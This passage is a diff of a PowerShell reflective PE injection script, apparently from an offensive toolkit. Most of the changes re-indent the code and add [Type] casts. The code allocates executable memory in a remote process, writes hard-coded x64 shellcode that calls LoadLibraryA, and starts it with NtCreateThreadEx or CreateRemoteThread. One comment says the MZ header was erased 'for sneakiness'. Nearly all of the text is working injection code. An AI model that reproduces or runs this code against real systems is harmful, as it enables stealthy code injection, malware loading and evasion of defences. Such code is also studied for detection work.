-ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) - { - Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" - $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) - $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" - } - } - #XP/Win8 - else - { - Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" - $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) - } - - if ($RemoteThreadHandle -eq [IntPtr]::Zero) - { - Write-Verbose "Error creating remote thread, thread handle is null" - } - - return $RemoteThreadHandle - } + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } - Function Get-ImageNtHeaders - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) - $NtHeadersInfo = New-Object System.Object + $NtHeadersInfo = New-Object System.Object - #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness - $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, $Win32Types.IMAGE_DOS_HEADER) + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) - #Get IMAGE_NT_HEADERS - [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr - $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS64) + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) - #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. - if ($imageNtHeaders64.Signature -ne 0x00004550) - { - throw "Invalid IMAGE_NT_HEADER signature." - } - - if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') - { - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true - } - else - { - $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, $Win32Types.IMAGE_NT_HEADERS32) - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 - $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false - } - - return $NtHeadersInfo - } - - - #This function will get the information needed to allocated space in memory for the PE - Function Get-PEBasicInfo + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - $PEInfo = New-Object System.Object - - #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. - [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null - - #Get NtHeadersInfo - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types - - #Build a structure with the information which will be needed for allocating memory and writing the PE to memory - $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) - - #Free the memory allocated above, this isn't where we allocate the PE to memory - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) - - return $PEInfo - } - - - #PEInfo must contain the following NoteProperties: - # PEHandle: An IntPtr to the address the PE is loaded to in memory - Function Get-PEDetailedInfo - { - Param( - [Parameter( Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) - { - throw 'PEHandle is null or IntPtr.Zero' - } - - $PEInfo = New-Object System.Object - - #Get NtHeaders information - $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types - - #Build the PEInfo object - $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle - $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) - $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) - $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) - $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) - - if ($PEInfo.PE64Bit -eq $true) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS64))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - else - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_NT_HEADERS32))) - $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr - } - - if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' - } - elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) - { - $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' - } - else - { - Throw "PE file is not an EXE or DLL" - } - - return $PEInfo + throw "Invalid IMAGE_NT_HEADER signature." } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } - Function Import-DllInRemoteProcess - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $ImportDllPathPtr - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) - $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RImportDllPathPtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) - - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($DllPathSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes - - [IntPtr]$DllAddress = [IntPtr]::Zero - #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address - # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. - if ($PEInfo.PE64Bit -eq $true) - { - #Allocate memory for the address returned by LoadLibraryA - $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($LoadLibraryARetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" - } + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } - #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) - $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $LoadLibrarySC2 = @(0x48, 0xba) - $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) - $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem - Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if ($Result -eq $false) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - else - { - [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - [Int32]$ExitCode = 0 - $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) - if (($Result -eq 0) -or ($ExitCode -eq 0)) - { - Throw "Call to GetExitCodeThread failed" - } + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } - [IntPtr]$DllAddress = [IntPtr]$ExitCode - } + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - return $DllAddress - } + return $DllAddress + } - Function Get-RemoteProcAddress - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $RemoteProcHandle, - - [Parameter(Position=1, Mandatory=$true)] - [IntPtr] - $RemoteDllHandle, - - [Parameter(Position=2, Mandatory=$true)] - [String] - $FunctionName - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - $FunctionNamePtr 